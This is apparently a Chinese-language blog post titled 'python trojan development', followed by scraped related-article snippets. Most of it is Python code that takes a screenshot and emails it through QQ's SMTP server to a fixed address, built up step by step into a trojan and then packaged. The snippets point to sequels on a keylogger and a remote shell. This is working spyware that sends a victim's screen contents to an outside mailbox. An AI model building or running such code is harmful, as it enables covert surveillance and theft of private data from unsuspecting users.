python trojan development 1st —— use python to send mail and caputre the screen then combine them
import smtplib from email.mime.text import MIMEText msg_from='1@qq.com' #发送方邮箱 passwd='bd' #填入发送方邮箱的授权码 msg_to='1@qq.com' subject="python邮件测试" #主题 content="这是我使用python smtplib及email模块发送的邮件" msg = MIMEText(content) msg['Subject'] = subject msg['From'] = msg_from msg['To'] = msg_to try: s = smtplib.SMTP_SSL("smtp.qq.com",465) s.login(msg_from, passwd) s.sendmail(msg_from, msg_to, msg.as_string()) print( "发送成功") except: print("发送失败") finally: s.quit()
以上是文本类型邮件的发送,不适用图片邮件的发送
以下是图片类型的邮件发送
import smtplib from email.mime.text import MIMEText from PIL import ImageGrab import random from time import * from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText from email.mime.image import MIMEImage def send(): sender = '1@qq.com' receivers = '17@qq.com' message = MIMEMultipart('related') subject = '终于能发图片了' message['Subject'] = subject message['From'] = sender message['To'] = receivers content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>','html','utf-8') message.attach(content) file=open("F:\\12.png", "rb") img_data = file.read() file.close() img = MIMEImage(img_data) img.add_header('Content-ID', 'imageid') message.attach(img) try: server=smtplib.SMTP_SSL("smtp.qq.com",465) server.login(sender,"i") server.sendmail(sender,receivers,message.as_string()) server.quit() print ("邮件发送成功") except smtplib.SMTPException as e: print(e) send()
之后我们继续学习截屏幕保存
from PIL import ImageGrab import random from time import * strings = "qwertyuiopasdfghjkzcvbnm0123456789[].,/?" lenght = len(strings) name = "" for j in range(1,3): for i in range(1,5): r = random.randint(1,36) name+=strings[r] im = ImageGrab.grab() im.save('F:\\'+name+'.png') name = ""
我们尝试将他们结合起来:
import smtplib from email.mime.text import MIMEText from PIL import ImageGrab import random from time import * from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText from email.mime.image import MIMEImage def send(): im = ImageGrab.grab() im.save('F:\\test.png') sender = '@qq.com' receivers = '@qq.com' message = MIMEMultipart('related') subject = '终于能发图片了' message['Subject'] = subject message['From'] = sender message['To'] = receivers content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>','html','utf-8') message.attach(content) file=open("F:\\test.png", "rb") img_data = file.read() file.close() img = MIMEImage(img_data) img.add_header('Content-ID', 'imageid') message.attach(img) try: server=smtplib.SMTP_SSL("smtp.qq.com",465) server.login(sender,"") server.sendmail(sender,receivers,message.as_string()) server.quit() print ("邮件发送成功") except smtplib.SMTPException as e: print(e) send()
欧克,成功,我们打包试试看
python trojan development 1st —— use python to send mail and caputre the screen then combine them的更多相关文章
- python trojan development 2nd —— use python to send mail and listen to the key board then combine them
请勿用于非法用途!!!!!本人概不负责!!!原创作品,转载说明出处!!!!! from pynput.keyboard import Key,Listener import logging impor ...
- python trojan development 3rd —— use python to creative a simple shell
前两篇文章的木马太被动,今天是通过socket和os来进行主动木马编写 有些s13,我真的搞不懂拿一些没过脑子的代码就放到网上去害人,骗流量,还某知名安全企业学院写的,真的服.我的代码自己运行过,很稳 ...
- Python Geospatial Development reading note(1)
chapter 1, Summary: In this chapter, we briefly introduced the Python programming language and the m ...
- Beginning Python Games Development
Like music and movies, video games are rapidly becoming an integral part of our lives. Over the year ...
- Python 3.4 send mail
#coding=utf-8 #Python 3.4 https://docs.python.org/3.4/library/ #IDE:Visual Studio 2015 Window10 impo ...
- 【Python网络编程】利用Python进行TCP、UDP套接字编程
之前实现了Java版本的TCP和UDP套接字编程的例子,于是决定结合Python的学习做一个Python版本的套接字编程实验. 流程如下: 1.一台客户机从其标准输入(键盘)读入一行字符,并通过其套接 ...
- 【转】linux和windows下安装python集成开发环境及其python包
本系列分为两篇: 1.[转]windows和linux中搭建python集成开发环境IDE 2.[转]linux和windows下安装python集成开发环境及其python包 3.windows和l ...
- python公司面试题集锦 python面试题大全
问题一:以下的代码的输出将是什么? 说出你的答案并解释. class Parent(object): x = 1 class Child1(Parent): pass class Child2(Par ...
- python 2016 大会 pyconsk ppt ---python dtrace
https://github.com/pyconsk/2016-slides PyCon SK 2016 - March 2016 1DTrace and PythonJesús Cea Aviónj ...
随机推荐
- 机器学习编程接口(api)设计(oop 设计)
fit: 对于 kmeans 来说,fit 的过程,就是训练,自然所需的参数,主要是数据集和聚类中心数, 1. classification(分类) def train(train_images, t ...
- TCP的三次握手和四次挥手【经典】
参考:http://blog.csdn.net/cmm0401/article/details/77865479
- HDU2665 Kth number 【合并树】
Kth number Time Limit: 15000/5000 MS (Java/Others) Memory Limit: 32768/32768 K (Java/Others) Tota ...
- C++异常处理入门
引言 异常,让一个函数可以在发现自己无法处理的错误时抛出一个异常,希望它的调用者可以直接或者间接处理这个问题.而传统错误处理技术,检查到一个局部无法处理的问题时: 1.终止程序(例如atol,atoi ...
- kendo ui gird温馨提示(使用本地数据) 一个
加入js引用 <link href="http://cdn.kendostatic.com/2014.2.716/styles/kendo.common.min.css" r ...
- python 教程 第六章、 模块
第六章. 模块 1) 模块 sys模块 字节编译的.pyc文件,优化编译后生成pyo文件 2) from..import语句 import sys print 'The command line ar ...
- CentOS 6安装桌面
安装图形界面 yum -y groupinstall "X Window System" "Chinese Support" "Desktop&quo ...
- 高性能mysql笔记 第一章 mysql架构
1.1 mysql逻辑结构 第一层: 负责连接处理,授权认证,安全等事情 第二层:负责mysql的大部分核心功能 ,查询解析,分析,优化,缓存和所有的内置函数,所有跨存储引擎的功能都在这一层实现,, ...
- cordova-plugin-local-notifications发送Android本地消息
原文:cordova-plugin-local-notifications发送Android本地消息 1.GitHub源代码地址: https://github.com/katzer/cordova- ...
- 【Python】Camera拍照休眠唤醒测试
#!/usr/bin/python # -*- coding: UTF-8 -*- import os import sys import time rebootCount = int(input(& ...